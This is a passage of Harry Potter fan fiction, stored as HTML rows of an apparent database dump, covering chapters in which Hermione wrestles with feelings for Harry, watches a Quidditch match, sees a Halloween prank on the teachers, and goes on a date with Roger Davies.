&quot;Nene please promise?&quot; His muscular arms brushed beside me.</p>\n<p>	&quot;I can not promise I would not fight. But I will promise when to walk away.&quot; I stuttered out nervously. <i>I should pull away. This is crossing the danger zone. I should be pulling away. Then why is my body not moving?</i></p><i>\n</i><p><i>	</i>&quot;I guess I can live with that&#8230;for now.&quot; He replied sensually. <i>Oh dear, he just touched my cheek. This is your best friend. Get a hold of yourself.</i></p><i>\n</i><p>	&quot;Harry?&quot; I licked my lips. <i>Please Harry take control here.</i></p><i>\n</i><p>	&quot;Nene, just act, don&#8217;t think.&quot; He voice became very husky. Then he slowly moved, so his lips were over mine. <i>Screw it, just lean in Harry.</i> I could almost fell his wet lips as his grip began to tighten around me. <i>Well there goes simplest. 3&#8230;2&#8230;</i></p><i>\n</i><p><i>	</i>Knock Knock</p>\n<p>	&quot;Hey are you two okay in there?&quot; Ron hollered form the outside. Reality returned and I pulled away from Harry. He paused for a second before opening the door to Ron. I felt so much tension it was hard to breathe.</p>\n<p>	&quot;We are fine Ron.&quot; Harry stressed the word fine. Ron didn&#8217;t notice and continued on with his questions.</p>\n<p>	&quot;How about we play a game of exploding snap? It&#8217;s been awhile since we have had mindless fun.&quot; He walked towards me and placed his arms around my shoulder. &quot;Oh Harry, Dean said you had his Charms book that he needs. Funny thing is no one wanted to come and get it. I&#8217;ll bring Mione down first while you grab it.&quot; Without waiting for an answer, he brought me out of Harry&#8217;s view. <i>Was Ron really this clueless? Hasn&#8217;t he become observant to anything? What am I going to say or do now? I almost kissed Harry. </i></p><i>\n</i><p>	&quot;Just give it time Mione.&quot; Ron commented knowingly while setting up the cards.</p>\n<p>	&quot;What do you mean?&quot; <i>I sure have been asking a lot of questions lately.</i></p><i>\n</i><p><i>	</i>&quot;He&#8217;s been alone all these years with no real family or friends. It still takes time to adjust to these feelings he has for other people.&quot; <i>Maybe Ron knew more then I thought.</i>  &quot;There is no rush.&quot; He smiled showing his dimples. &quot;We will always be together. And I know the three of us would protect this till the end of time.&quot; He winked with a smirk. </p>\n<p>	</p>\n\n'),
	(239, 8, '\n\n<p>Disclaimer: No these characters are not mine.</p>\n\n<p>Well I&#8217;m glad to hear that everyone liked the last chapter. Are you all mad that they didn&#8217;t kiss? I was too but don&#8217;t worry I&#8217;ll make it up to all of you in the future. So instead of writing a really long philosophy paper, I wrote a chapter. My parents would be proud of my laziness. Anyway thank you for the reviews and my huge thank you to Jenn a.k.a. Lady Raven. Oh I also suck at describing Quidditch. No matter what kind of sport, it goes over my head. I tried my best, but I don&#8217;t think it I did it any justice. Well anyway on to the chapter, I hope you enjoy it.</p>\n\n<b><p align="CENTER">The Middle of Understanding</p>\n</b><p align="CENTER">Chapter 7</p>\n<b><u><p align="CENTER">Quidditch </p>\n</u></b><p align="CENTER"></p>\n<p>	The reason why I liked the library so much was the peace and quiet it came with. Everyone that went in here had the single purpose to work. It was also my haven from every thing outside these walls. I could retreat into my books with out the worries of the real world. It had been 3 days since the whole Malfoy incident and I had not talk to Harry since. Actually I was avoiding both Harry and Ron. Sometimes it&#8217;s just hard for a girl to act normal after a situation. It didn&#8217;t help that Harry seem to forget the whole incident. Granted nothing officially happened but we were close. What if we did actual kiss? Would I be hiding under a rock instead of the library?</p>\n<p>	&quot;Hermione, it is a Friday. Why don&#8217;t you wait until tomorrow to finish this?&quot; Ginny appeared behind me, blocking me from turning the page. <i>Like I was actually reading.</i></p><i>\n</i><p>	&quot;Ginny tomorrow is the Quidditch game and I have to patrol afterwards. I will not have time to finish any of this tomorrow.&quot; <i>Besides I don&#8217;t want to think or see Harry</i>.</p>\n<p>	&quot;You have time later tonight or tomorrow morning. Gryffindor is about to start practice and I want to go watch.&quot; She started packing my things into my bag.</p>\n<p>	&quot;Then go yourself, I&#8217;m sure you will not be alone.&quot; I stopped her from packing.</p>\n<p>	&quot;Mione, your best friends are playing together tomorrow. Don&#8217;t you want to see them?&quot; <i>You don&#8217;t know how bad I do. </i>&quot;Besides I know for a fact that you are not getting any work done.&quot; She smiled causally.</p>\n<p>	&quot;Of course, I&#8217;m working. Why would you think not?&quot; I answered in a rush.</p>\n<p>	&quot;Mione the book was upside down.&quot; <i>There goes my excuse. </i>&quot;Let&#8217;s go, I brought us blankets to sit on.&quot; Once we neared the Quidditch field, I could hear the whispers and murmurs. Looking around the stadium, I saw it filled with girls preparing for the practice. Roger was right when he said, practical all the female population was here.</p>\n<p>	&quot;Ginny, Mione you came!&quot; Ron shouted to us from across the field. He was wearing the Gryffindor quidditch robes, which made him seem even taller. He looked so happy wearing it. Behind him the rest of the team was emerging from the changing room. I saw Harry discreetly stride over towards us. &quot;Charlie is up in the stands if you want to join him?&quot; Ron pointed up towards the man being surrounded by his own group of fans. We chuckled at his helpless expression.</p>\n<p>	&quot;We brought blankets to lay on to watch. Hi Harry you wouldn&#8217;t mind if we laid on the ground would you?&quot; Ginny smiled sweetly. <i>I wonder if she still has a crush on him? </i></p><i>\n</i><p>	&quot;Sure if you don&#8217;t mind, but if a blugger hits you it&#8217;s not my fault.&quot; Harry responded light heartily. </p>\n<p>	&quot;Great, Hermione I&#8217;ll be right back. I&#8217;m going to talk to the twins.&quot; She then dashed off towards her older brothers. <i>At least Ron is still here.</i></p><i>\n</i><p>	&quot;So how did Ginny actually persuade you to come. We haven&#8217;t been able to see you for days. Are you still carrying homework in your bag?&quot; Ron spurted at me. Harry stood silently next to him.</p>\n<p>	&quot;I have been busy with work, but I still have time tonight and tomorrow morning to finish it. I thought you might want my moral support. But it looks to me you guys have that area covered.&quot; I raised my head to the surrounding stands.</p>\n<p>	&quot;They don&#8217;t mean anything,&quot; Harry finally spoke. Then the tension returned and I started fidgeting with my hands. <i>Stop being nervous, this is your best friend.</i></p><i>\n</i><p><i>	</i>&quot;I&#8217;m going to say hi Charlie. Wave me down when we are going to start Harry.&quot; Ron positioned his broom, &quot;Chat with you later Mione.&quot; Then he flew off, leaving me alone with Harry. Silences over shadow us, and my eyes gazed every where but his face. He looked extremely athletic wearing his Quidditch robes. The gold and red contrasted his green eyes that seem to shine in the afternoon ray. His disheveled hair was growing longer brushing against his ears.</p>\n<p>	&quot;So&#8230;I,&quot; We both started to say. We paused then laughed meagerly. <i>This is awkward.</i> Finally looking into his eyes, I noticed how worn out they were.</p>\n<p>	&quot;You look tired.&quot; I asked in a worry tone.</p>\n<p>	&quot;Late night talking with Moony and Padfoot.&quot; He answered quietly.</p>\n<p>	&quot;About what?&quot;</p>\n<p>&quot;Reports, rumors, and mainly about Voldemort,&quot; his reply sounded uncaring. &quot;How is your wrist?&quot; He asked looking into my eyes.</p>\n<p>	&quot;Better, it still has an annoying sting but moving it isn&#8217;t a problem.&quot; I saw the team start to form behind him. &quot;Shouldn&#8217;t you be starting? I don&#8217;t want to keep them waiting.&quot; I could see Ginny raise her thumbs up behind Harry.</p>\n<p>	&quot;I will I just wanted to talk to you. Over there is the best place to sit and watch. I&#8217;ll join you and Ginny later.&quot; He paused and I assumed he would say more but then he only gave a small smile.</p>\n<p>	&quot;Come on Hermione, they are about to start.&quot; Ginny dragged me over and placed the large blankets down. Though I don&#8217;t like talking about Quidditch or anything related to flying, watching was something different. I found it amazing how these people could move around so gracefully without worry. Throughout the practice, I could hear oh&#8217;s and ah&#8217;s from the awestruck girls. Ginny would be excited about every play or move, which made her jump up and down. I laid there watching with the warm sun shining on me. I dreamed of flying up there with the cool breeze in my face. The freedom to flip around and see every thing below me. Then I had this funny dream that I was being carried. I could hear people&#8217;s voices yet it filtered away as I laid my head comfortable against someone&#8217;s chest. It wasn&#8217;t muscular but had the potential to be someday soon. He smelt like grass and wood. Exactly like Harry would smell. His arms were strong and I felt safe being carried. The voice&#8217;s seem vague but distinctly heard.</p>\n<p>	&quot;I can&#8217;t believe she fell asleep. I told her not to bring her books.&quot;</p>\n<p>	&quot;Ron she wasn&#8217;t even reading.&quot;</p>\n<p>	&quot;Well how about these last weeks. She&#8217;s been in the library none stop.&quot;</p>\n<p>	&quot;Have the two of you had time for her. She has been pretty worried about you two. She feels that you&#8217;re keeping something.&quot;</p>\n<p>	&quot;Ginny can you open the door?&quot;</p>\n<p>	&quot;Sure Harry.&quot;</p>\n<p>	&quot;Ron, may be you should leave. This is the girl&#8217;s dormitory.&quot;</p>\n<p>	&quot;Fine Harry be the lucky fellow to enter unmarked land. I&#8217;ll meet you downstairs.&quot;</p>\n<p>	&quot;I think this is her bed Harry.&quot;</p>\n<p>	&quot;It is.&quot;</p>\n<p>	&quot;How do you know so certain?&quot;</p>\n<p>	&quot;Her music box is right there.&quot;</p>\n<p>	&quot;Oh.&quot;</p>\n<p>	&quot;Don&#8217;t say anything you don&#8217;t know about.&quot;</p>\n<p>	&quot;Don&#8217;t do anything your not sure about.&quot;</p>\n<p>	&quot;Sorry, didn&#8217;t mean to snap at you. I guess everything is starting to take a toll on me.&quot;</p>\n<p>	&quot;Harry talk to her. She will understand. I bet she could help too.&quot;</p>\n<p>	&quot;That&#8217;s what I don&#8217;t want to happen.&quot;</p>\n<p>	&quot;Why not?&quot;</p>\n<p>	&quot;Because I don&#8217;t even understand myself.&quot;</p>\n\n<p>	&quot;Nene are you awake?&quot; I felt a slight brush of my hair. &quot;It&#8217;s nearly dinnertime. Everyone is already in the Great Hall.&quot; Harry sat next to me. <i>Why am I here?</i></p><i>\n</i><p>	&quot;Harry I thought I was watching you practice?&quot; I rubbed my unfocused eyes.</p>\n<p>	&quot;You fell asleep. I carried you back here.&quot; He turned his face at me.</p>\n<p>	&quot;Oh, why didn&#8217;t you wake me?&quot; I sat up leaning against the bed.</p>\n<p>	&quot;Because I&#8217;m sure you haven&#8217;t slept so heavy in a long time.&quot; He smiled. <i>I miss those smiles. </i>&quot;Besides you look so adorable drooling.&quot; He pinched my cheeks.</p>\n<p>	&quot;Do that again Potter and I&#8217;ll make sure you drool forever.&quot; I gave an evil glare.</p>\n<p>	&quot;Great to know. Now get up so we can eat.&quot; He started walking towards the door.</p>\n<p>	&quot;Harry I&#8217;ll be down in 10 minutes.&quot; <i>I look horrible</i>.</p>\n<p>	&quot;Why just follow me,&quot; he leaned against the doorframe.</p>\n<p>	&quot;I look like a mess.&quot; I pointed at myself.</p>\n<p>	&quot;You look fine. Come on I&#8217;m starving.&quot; Without a chance I was pulled to the Great Hall. <i>May be the tension is gone.</i></p><i>\n</i><p><i>	</i>Later that night, I was working on my homework while Ron and Harry played wizard chess. At times I would hear protests from Harry and smug replies from Ron. I always liked listening to them bicker. They could poke and make fun of anything with each other. <i>I miss sitting here like this.</i> </p>\n<p>	&quot;Checkmate,&quot; Ron grinned arrogantly.</p>\n<p>	&quot;Someday Ron I&#8217;ll beat you.&quot; Harry stood and stretched his arms.</p>\n<p>	&quot;Of course mate, you&#8217;ll beat me.&quot; Ron winked towards me. &quot;Loser cleans up.&quot; He flopped next me. &quot;So are you ready to cheer for us tomorrow? We want your full attention. That means no books.&quot;</p>\n<p>	&quot;Ron you know I&#8217;m ready to watch you two. As for the books, I probably won&#8217;t bring them.&quot; I set my quill down. </p>\n<p>	&quot;Good to hear,&quot; he gave me a huge grin. &quot;Fred, George where are you going?&quot; Ron shouted at the twins.</p>\n<p>	&quot;Snacks,&quot; they answered back.</p>\n<p>	&quot;Coming with you.&quot; He ran towards the door. &quot;Be back later,&quot; then he left with the older boys. I returned to my books as Harry sat next to me on the couch. We didn&#8217;t say anything but enjoyed the silence of our own thoughts. The fire was crackling and the empty Common Room seemed hollow. Only the noise of my quill and our breathing was heard. <i>At least it doesn&#8217;t seem uncomfortable. This is Harry after all</i>.</p>\n<p>	&quot;Nene,&quot; I felt his eyes on me. &quot;Can we talk?&quot; <i>The three deadly words.</i></p><i>\n</i><p><i>	</i>&quot;What is it Harry? Is it important because I have a lot to do still.&quot; I moved slightly away from him. &quot;Besides it is late and you need your sleep.&quot; I rambled out.</p>\n<p>	&quot;We need to talk.&quot; He placed his hands over my book. &quot;And you haven&#8217;t turned the page in 3 minutes. Your not even doing work.&quot; He stated solemnly. <i>Busted! </i></p><i>\n</i><p>	&quot;What do you want to discuss?&quot; I picked my bag and started packing my books.</p>\n<p>	&quot;I&#8230;we,&quot; he stopped, sighed then pulled something out his pocket. &quot;I got this from Snuffles. It looks like a code but we didn&#8217;t understand how to break it. Do you think you could take a look at it?&quot; He handed me a piece of parchment. <i>This is what he wanted to discuss. Shut up Hermione, it has to do with his well being.</i></p><i>\n</i><p><i>	</i>&quot;Of course, where did you get this?&quot; I noticed that the writings were symbols and scribbles. <i>This is interesting.</i></p><i>\n</i><p>	&quot;Interception of a Death Eater. Do you have any idea what it may be?&quot; Suddenly I felt him right beside me. </p>\n<p>	&quot;No, it looks to be Arabic but Chinese too.&quot; <i>Don&#8217;t think about how good he smells. </i></p><i>\n</i><p>	&quot;Thank you, I know this adds extra stress to you.&quot; He placed his arm around my other side.</p>\n<p>	&quot;Harry, you don&#8217;t need to thank me for this.&quot; <i>Why am I anxious? Stop it Hermione.</i></p><i>\n</i><p><i>	</i>&quot;I know but I have nothing else to show how grateful I am.&quot; I felt his fingers rest on my waist.</p>\n<p>	&quot;You don&#8217;t need to show anything. We are friends.&quot; <i>Then why couldn&#8217;t you sleep the past few nights with out seeing his green eyes?</i></p><i>\n</i><p>	&quot;Yes we are friends.&quot; He pulled away and started walking towards his room. &quot;Nene?&quot;</p>\n<p>	&quot;Yes Harry.&quot; <i>Why am I disappointed in his leaving?</i></p><i>\n</i><p><i>	</i>&quot;Do you think you can tuck me in?&quot; For the first time, since I have known Harry, I wondered if he actually has live a life before us.</p>\n<p>	&quot;I&#8217;ll sing for you too.&quot; I raised and reached out my hand. He smiled and a twinkled shined in his eyes. Harry took my hand and we walked up the stairs together. Thoughts ran through my mind, as we reached his room. No matter how great he will be or famous or rich, Harry will always be Harry a boy who wanted to live. As I pulled the blanket up and hummed a tune, I made a silent promise to myself. I would give this boy anything I could. I would fight or die by his side. I would be with him no matter what.</p>\n\n<p>	&quot;Gryffindor, Gryffindor, Gryffindor!&quot; I heard the chant surround me on the stands. I sat between Ginny and Neville watching the Gryffindor and Slytherin team shake hands.</p>\n<p>	&quot;Let us begin!&quot; Madam Hooch shouted through the air. Then they started and bodies zoomed on top of brooms. Commotion broke out between the audience, as cheers and cries were yelled. I followed all the players as they flew aggressively in the game. I personal liked watching them practice more. It seems so rough when they played. Ron was an excellent Keeper and kept the Slytherin team from scoring points. Being overly joyed, Ginny kept bouncing up and down. <i>She really cares about him. It shows in her eyes. </i></p><i>\n</i><p>	&quot;The snitch has been spotted!&quot; Lee screamed gaining everyone&#8217;s attention. I quickly spotted Harry chasing after it with an amazing focus. His eyes narrowed and had a determined glint in his eyes. Then I saw Malfoy, coming from the other direction. He had a malice look in his eyes, which glared straight at Harry.</p>\n<p>	&quot;Both seekers are heading for the snitch.&quot; All eyes fell on them as they flew head on towards each other. They were going to crash. Then I noticed the leer they were sharing, which scream hate. <i>They better not be doing what I am thinking.</i></p><i>\n</i><p><i>	</i>&quot;I think they are going to crash! Bloody hell look out!&quot; Silence spread as we all watched in slow motion of the two heated boys.</p>\n<p>	&quot;Harry pull up,&quot; I screamed through the air. Some how that pulled him out of his trance and he focused on the snitch instead of Malfoy&#8217;s face. Then Harry quickly turned over making him upside down from Malfoy. With a dumbfounded expression, Harry grabbed the snitch while Malfoy was speeding forward. Cheers were heard all around, and applause soon followed afterwards.</p>\n<p>	&quot;Hermione, lets go down. We won!&quot; Ginny dragged me along. &quot;Ron, Harry! We won!&quot; She hugged them enthusiastically. They had hugs smiles spread across their faces.</p>\n<p>	&quot;Great job Ron,&quot; I hugged him.</p>\n<p>	&quot;Thanks, Mione.&quot; He kissed my head. Turning I saw Harry patiently standing waiting for his congratulations. </p>\n<p>	I pulled him into a tight embrace and said, &quot;Don&#8217;t you ever do anything that stupid again.&quot;</p>\n<p>	&quot;I know, I just wanted to scare him.&quot; He rubbed my back. </p>\n<p>	Crossing my arms around his neck, I whispered, &quot;But you scared me as well.&quot; And I sniffled on to his shoulder.</p>\n<p>	&quot;Shh&#8230;Mione everything is okay. Don&#8217;t cry. You should be happy. We can celebrate all night.&quot; He moved back showing his charming smile.</p>\n<p>	&quot;I have to patrol tonight, so I will not be there.&quot; I replied with annoyance in my tone. </p>\n<p>	&quot;I&#8217;ll join you then,&quot; he pushed a strand of hair behind my ear.</p>\n<p>	&quot;Don&#8217;t be silly. You just won. Go celebrate with all your adoring fans.&quot; I playfully hit his chest.</p>\n<p>	&quot;It wouldn&#8217;t mean anything if my greatest fan wasn&#8217;t there with me.&quot; He started back into my eyes. <i>Oh it&#8217;s that look again!</i></p><i>\n</i><p><i>	</i>&quot;Harry, Harry, Harry!&quot; Herds of people soon swept him away from underneath. Bewildered he turned his head and winked towards me. I slowly strolled back thinking about these past weeks. <i>It sure had been exciting. Mother was right. Things always change and sometimes it&#8217;s more noticeable then others. </i></p><i>\n</i><p><i>	</i>&quot;Hermione,&quot; I heard a voice call for me. Behind me stood Roger wearing dark jeans and a sky blue sweater. It looked wonderful with his brown hair.</p>\n<p>	&quot;Hello Roger, how are you?&quot; I smiled.</p>\n<p>	&quot;I&#8217;m great. Actually I came to see if you wanted to take a break tonight.&quot; He followed me as I continued walking towards the Tower.</p>\n<p>	&quot;No, it is my responsibility. I should do it.&quot; I said reaching Fat Lady.</p>\n<p>	&quot;Are you sure? I know you Gryffindors like to party after a victory game.&quot; He leaned against the wall.</p>\n<p>	&quot;Usually, but...&quot; before I could finish Harry appeared out of the portrait. &quot;Harry why are you outside? I told you to go celebrate.&quot; I raised my eyebrows. </p>\n<p>	&quot;Well then I said I didn&#8217;t want to because you weren&#8217;t.&quot; he crossed his arms. </p>\n<p>	&quot;Problem solved Harry. I told Hermione she could have a break tonight. I&#8217;ll cover for her.&quot; Roger patted Harry&#8217;s back.</p>\n<p>	&quot;Thank you Roger for the offer but I have a duty to,&quot; Roger throw his hand over my mouth.</p>\n<p>	&quot;Just go have fun. You know you want to celebrate. Besides I need to ask you something?&quot; He removed his hand so I could answer.</p>\n<p>	&quot;What is it?&quot;</p>\n<p>	&quot;Let me buy you a drink on Halloween?&quot; <i>Did he just ask me out in front of Harry?</i> I looked to Harry who had a blank stare in his eyes. I tried to ask for mental advice but nothing registered. I glanced back to Roger who was waiting for my answer. <i>He&#8217;s not a bad guy. But he&#8217;s not Harry. Where did that</i> <i>come from? Think logically. Is there anything wrong? No not really. Then say yes Hermione, before he thinks your brain dead.</i></p><i>\n</i><p><i>	</i>&quot;Sure,&quot; I smiled weakly. <i>Harry react a boy just asked me out!</i></p><i>\n</i><p>	&quot;Great, good job today Harry.&quot; He smack Harry&#8217;s shoulder then gave me a wink. &quot;Have fun tonight.&quot; He called out walking into the empty halls. We stood for awhile not saying anything. <i>Great tension fun! Why didn&#8217;t he stop me? May be that kiss was nothing? It didn&#8217;t even happen Granger. Take control.</i></p><i>\n</i><p><i>	</i>&quot;Come on Harry, you just won. Let&#8217;s go celebrate, because everyone is probably waiting.&quot; He nodded and followed me into the festive Common Room. <i>This is going to be a long night.</i></p><i>\n</i><p>	</p>\n\n'),
	(239, 9, '\n\n<p>Disclaimer: These characters do not belong to me.</p>\n\n<p>I hope you all like this chapter. Big thanks to Jenn a.k.a. Lady Raven for checking my grammar. I&#8217;m going to be gone for a couple of weeks, so I will not be posting anytime soon. But that will give me time to get over my writers block too. Anyway I hope you all enjoy this chapter.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><p align="CENTER">The Middle of Understanding</p>\n</b><p align="CENTER">Chapter 8</p>\n<b><u><p align="CENTER">Halloween</p>\n</u></b><p align="CENTER"></p>\n<p align="CENTER">Knock, Knock</p>\n<p>	&quot;Come in, the door is unlock.&quot; I shouted folding my bed.</p>\n<p>	&quot;Morning Nene.&quot; I saw Harry dressed in black slacks and a red sweater. Since it was Halloween, most of the people were wearing muggle clothing for the day. &quot;Where are the girls?&quot; He leaned against the wall crossing his arms.</p>\n<p>	&quot;They mentioned about Charlie and leather pants. I think they have a crush on him.&quot; I smiled remember their obvious affections.</p>\n<p>	&quot;Good luck to him. They always found a way to get their message across.&quot; He grinned at his own comment. &quot;You look great today.&quot; He gazed at my direction.</p>\n<p>	&quot;Thanks, it&#8217;s nothing though. I think this blouse makes me look childish.&quot; I tugged on my honey colored shirt trying to satisfy my self of my appearance.</p>\n<p>	&quot;Your not childish,&quot; Harry appeared behind me. <i>Why does he always smell so good?</i> &quot;If you did, Roger wouldn&#8217;t have asked you on a date.&quot; He stepped in front of me.</p>\n<p>	&quot;Harry it&#8217;s just a drink. I&#8217;m spending my day with my best friends.&quot; I playfully hit his shoulder.</p>\n<p>	&quot;Which is why, I&#8217;m not pulling my hair out about Roger.&quot; He ran his hand through his hair. <i>I wonder if he knows he only does that when he&#8217;s nervous.</i></p><i>\n</i><p><i>	</i>I couldn&#8217;t help but smile at his goofy smirk. &quot;Harry don&#8217;t worry. Let&#8217;s go eat.&quot; Walking in to the Great Hall, I could smell pumpkin and cinnamon. The walls were covered with orange flowing streamers. People were chatting, which created random noises everywhere. Sitting beside Harry, he handed me French toast and laughed at a joke Ron had said.</p>\n<p>As they were debating about Quidditch strategies, my mind wandered off. Since the Quidditch game, Harry had acted completely normal again. He was still affectionate but he didn&#8217;t have that spark. Part of me was glad when things were normal and the tension was gone. Yet the other part wanted the intense and passionate Harry.</p>\n<p>	&quot;Mione have you been listening to us at all?&quot; Ron waved his fork in my face.</p>\n<p>	Focusing back to them, &quot;I&#8217;m sorry. What were you saying?&quot; I continued eating my breakfast.</p>\n<p>	&quot;It&#8217;s no big deal Hermione. What were you thinking about?&quot; Harry poured me pumpkin juice. </p>\n<p>&quot;Probably about a boy,&quot; Ron answered in a pester attitude.</p>\n<p>	&quot;No,&quot; I said in a loud tone receiving several looks. &quot;Well,&quot; I can&#8217;t say Harry. &quot;I was just wondering if you ever did the prank Moony sent you?&quot; I stated trying to change the subject. They both started chuckling and I felt odd about their sudden behavior. Slowly they regained control and spoke.</p>\n<p>	&quot;Just watch and see,&quot; Ron grinned wickedly. Harry remained silent but winked at me. <i>I wonder what it is? I hope it is nothing dangerous or out of hand. </i></p><i>\n</i><p>	Abruptly 60&#8217;s music filled the Great Hall, and commotion began. The teachers seem to start moving to the beat. Professor Flitwick being so small got on top of the table and started doing the twist. Madam Hooch and Professor Sprout did the mash potato while Professor Figgs danced around them. Other teachers moved as well creating stages of motion all around. At first the students were in shock but then laughter was flooded through the crowd. Then Professor McGonagall and Professor Snape started the gogo, which created chaos of whistles and howlers. Soon Professor Dumbledore was standing and twirling his long white beard. After the best 5 minutes of dancing history, the music ended and movement stopped. Silence fell over us from the embarrassed and stern expressions of our teachers. Then the Headmaster stood, &quot;Well I must say that was the best prank seen in a long time. Mr. Weasleys we certainly did not expect this, this year.&quot; He looked towards the dumbfounded twins.</p>\n<p>	&quot;But it wasn&#8217;t us,&quot; George confessed. Shock looks were seen on the surrounding students.</p>\n<p>	&quot;Even we couldn&#8217;t pull off a prank like that.&quot; Fred bowed his head down.</p>\n<p>	&quot; I see. We have a new prankster this year, it certainly will not be boring.&quot; He grinned, &quot;Happy Halloween.&quot; The twinkle in his eyes shined at Harry and Ron.</p>\n<p>	Later while we were walking in the streets of Hogsmeade, rumors of the pranksters were still said. Speculation or questions were heard, and Ron and Harry couldn&#8217;t stop smirking. We spent the afternoon shopping at Honeydukes and Zonko&#8217;s Joke shop. Excitement was seen on everyone&#8217;s faces from the carefree day. Soon evening was approaching and Ginny had to leave. I decided to walk her to the carriages while Harry and Ron disappeared off somewhere.</p>\n<p>	&quot;Hermione you have to tell me everything when you get back.&quot; Ginny pulled on my sleeve.</p>\n<p>	&quot;Gin its nothing.&quot; I shook my head.</p>\n<p>	&quot;Roger Davis asked you on a date. I mean he is one of the cutest guys in our school.&quot; She threw her arms in the air. <i>The Weasley&#8217;s sure like to do that with their arms.</i></p><i>\n</i><p><i>	</i>&quot;My best friend is Harry Potter. Do you think it really matters to me?&quot; I narrowed my eyes.</p>\n<p>	&quot;I&#8217;ll never found out who you like?&quot; She sighed in defeat.</p>\n<p>	&quot;Who said I did?&quot; <i>She better not know I have a crush on someone. Wait a second. Who said I did? Oh Hermione you are starting to go crazy.</i></p><i>\n</i><p>	&quot;See you later Mione,&quot; she winked and left with Colin on to the carriage. Strolling along I thought to myself how beautiful evening was. The setting sun created orange glows in the sky and crisp leaves were blown around. I loved walking alone sometimes because of the tranquil feeling of my own thoughts. </p>\n<p>	&quot;Are you actually going to walk in or stand here all day?&quot; Charlie asked next to me. <i>Where did he come from?</i></p><i>\n</i><p><i>	</i>&quot;I guess I got lost in my own thoughts.&quot; I said quietly.</p>\n<p>	&quot;Nervous?&quot;</p>\n<p>	&quot;No, why would you say that?&quot; I asked in a confused manner.</p>\n<p>	&quot;Because of your big date, I mean everyone knows. Even the teachers are interested in Roger asking you out.&quot; He winked showing his dimples.</p>\n<p>	&quot;You mean the whole school knows he is buying me a drink.&quot; I received a slow nod. &quot;It&#8217;s only a drink. Do any one of you have lives? Why is everyone so curious about mine?&quot; I started raising my voice an octave higher.</p>\n<p>	&quot;Calm down Mione. You are a pretty girl. Of course people are going to notice you.&quot; He leaned comfortable against the window.</p>\n<p>	&quot;You&#8217;re just saying that because you know me.&quot; I kicked the pebbles on the ground.</p>\n<p>	&quot;No I shouldn&#8217;t be saying that since I am your teacher and best friend&#8217;s brother. But I&#8217;m also a man and I know when I see an attractive girl.&quot; I blushed instantly and he grinned smugly. &quot;So let&#8217;s walk in and show them how attractive people enter in a room.&quot; He bent his arm towards me.</p>\n<p>	&quot;You&#8217;re a goof ball.&quot; I giggled at his silly expression.</p>\n<p>	&quot;That&#8217;s why women love us Weasley men.&quot; I looped my arm through his and walked in to kids filled area. All eyes darted towards us, and for the first time I didn&#8217;t care. It helps that Charlie made girlish comments in my ear. He left me at an empty table and went to join the other professors. A few minutes later, I felt a tap on my shoulder. Looking up I saw Roger with a huge grin on his face.</p>\n<p>	&quot;Hello Hermione. You look wonderful. Have you been here long?&quot; He sat beside me, leaning on the table.</p>\n<p>	&quot;Thank you,&quot; I answered a little flustered. &quot;I just got here.&quot; <i>Stop fidgeting with your hands.</i></p><i>\n</i><p>	&quot;Good, so do you want butterbeer?&quot;</p>\n<p>	&quot;How did you know, I like butterbeer?&quot;</p>\n<p>	&quot;I have my ways of finding answers,&quot; he winked. &quot;Especially when I think, it is important to know.&quot; <i>He sure is forward. </i>&quot;So tell me more about yourself?&quot; Then our conversation soon drifted off into topics of various kinds. After plenty of butterbeer and a cozy evening, we decided to head back to Hogwarts. I assumed Harry and Ron had already returned, so I let Roger walk me back to the Tower. As I reached Fat Lady, I had this weird feeling in my stomach. Ending our night, he leaned forward ready to kiss me. Instantly I held my hand up against his chest.</p>\n<p>	&quot;Roger, I had a great time tonight. But I&#8217;m not sure if I am ready for this.&quot; With a slight pause, I gazed every where but his face. Finally he spoke, and I was afraid to look him at him directly.</p>\n<p>	&quot;I understand. I heard you broke up with Victor Krum this summer. I&#8217;m not going to lie and say I&#8217;m not disappointed but Hermione?&quot; He tried catching my focus.</p>\n<p>	&quot;Yes Roger?&quot; <i>Stop feeling bad, he can handle it.</i></p><i>\n</i><p><i>	</i>&quot;Could there be a chance for us? He reached for my hand. <i>Oh dear, is their Hermione? I don&#8217;t know?</i></p><i>\n</i><p><i>	</i>&quot;I honestly don&#8217;t know Roger. I like being around you but I don&#8217;t know if I could be with you.&quot; I gazed every where but at him.</p>\n<p>	&quot;I can live with that. As long as the answer it not no. I will not give up. I like you Hermione and someday I hope you can say the same about me.&quot; He kissed my hand and walked off. <i>That certainly was not expected.</i></p><i>\n</i><p><i>	</i>&quot;Orchids,&quot; I said the password.</p>\n<p>	&quot;He looked determined Hermione. I think you should have let the boy kiss you.&quot; Fat Lady stated in an orderly manner.</p>\n<p>	&quot;Just let me in,&quot; <i>great lets add more stress to my life.</i></p><i>\n</i><p><i>	</i>&quot;Hermione,&quot; the Gryffindor girls shouted at my entrance. <i>I think god still hates me. </i>&quot;Did you have fun? What happened? Did he walk you back? Did he kiss you? Lavendar!&quot;</p>\n<p>	&quot;What it is a very important question? And please everyone in this room is wondering the same thing.&quot; She waved around the room, confirming her statement.</p>\n<p>	&quot;Girls, as a friend, I know she will not say anything. So I suggest we leave her alone, before she hexes us. But if I get any information, I will tell you lovely ladies right away.&quot; Ron charmingly smiled towards the crowd. <i>If I was not mad at his comment I would have thanked him for saving me.</i>  Pulling me over to our usual spot, Harry had moved so I could next to him.</p>\n<p>	&quot;Where is Ginny? She said she wanted to talk tonight.&quot; I asked scanning for the familiar red head.</p>\n<p>	&quot;She went to talk to Charlie.&quot; Ron said slipping next to me. I stretched my feet horiztonally letting the fire warm my toes. &quot;So spill, how was the date? Am I going to get to beat him to pieces?&quot;</p>\n<p>	&quot;Ron you will do no such thing. He was a perfect gentlemen and I had fun.&quot; I yawned while scolding him.</p>\n<p>	&quot;Just making sure my Mione wasn&#8217;t violated in any way.&quot; He said seriously.</p>\n<p>	&quot;I am fine. Ron you really need to stop. I mean I am going to date people. I&#8217;m a growing girl, it happens.&quot; I calmly said, feeling like I had this conversation before with him.</p>\n<p>	&quot;Mione, you&#8217;re my best friend. Right Harry?&quot; Ron received a nod. &quot;You&#8217;re more then a sister because it&#8217;s not blood that makes me care about you.&quot;</p>\n<p>	&quot;Oh,&quot; <i>well at least I know he doesn&#8217;t have a crush on me</i>.</p>\n<p>	&quot;So don&#8217;t think I&#8217;m being jealous. Just over protective of my Mione.&quot; He kissed my head. I peeked at Harry, who was staring off into space. Then Ron whispered in my ear, &quot; Now as for Harry, I think it&#8217;s vice versa.&quot; He winked and had a knowing smirk. <i>What does that mean? </i>&quot;I&#8217;m 